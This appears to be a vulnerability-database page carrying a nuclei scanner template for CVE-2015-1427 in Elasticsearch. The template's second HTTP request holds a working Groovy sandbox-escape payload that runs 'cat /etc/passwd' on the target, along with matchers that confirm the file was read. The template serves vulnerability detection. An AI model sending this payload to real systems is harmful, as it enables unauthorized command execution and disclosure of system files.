Lucene search
+L

ElasticSearch - Remote Code Execution

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 389 Views

ElasticSearch - Remote Code Execution CVE-2015-1427. Allows shell command execution via Groovy scripting engine, potential for arbitrary code executio

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
elasticsearch -- remote OS command execution via Groovy scripting engine
11 Feb 201500:00
–freebsd
zdt
zdt
ElasticSearch Unauthenticated Remote Code Execution Exploit
12 Mar 201500:00
–zdt
zdt
zdt
ElasticSearch Search Groovy Sandbox Bypass Exploit
12 Mar 201500:00
–zdt
githubexploit
GithubExploit
Exploit for CVE-2015-1427
8 Oct 202619:58
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2015-1427
9 Jan 201720:08
–githubexploit
githubexploit
GithubExploit
exploits
5 Mar 201511:15
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2015-1427
17 Dec 202510:07
–githubexploit
gitee
Gitee
Exploit for OS Command Injection in Gnu Bash
27 Jul 202504:29
–gitee
gitee
Gitee
Exploit for Improper Access Control in Elasticsearch
6 Jul 202502:42
–gitee
gitee
Gitee
Exploit for Improper Access Control in Elasticsearch
3 Jun 202110:56
–gitee
Rows per page
id: CVE-2015-1427

info:
  name: ElasticSearch - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
  reference:
    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427
    - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html
    - https://access.redhat.com/errata/RHSA-2017:0868
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-1427
    cwe-id: CWE-284
    epss-score: 0.99906
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev,vkev,vuln

http:
  - raw:
      - |
        POST /website/blog/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
          "name": "test"
        }
      - |
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402202eeb8e883d98c5d9d4512542b7f82dc7f80417022c9b98bdcc89fc173e9d7f68022003afe0311e4bca9d029fa2b024a0d3f68f049de1c87b63bb0b613e9751d11d96:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99906
SSVC
389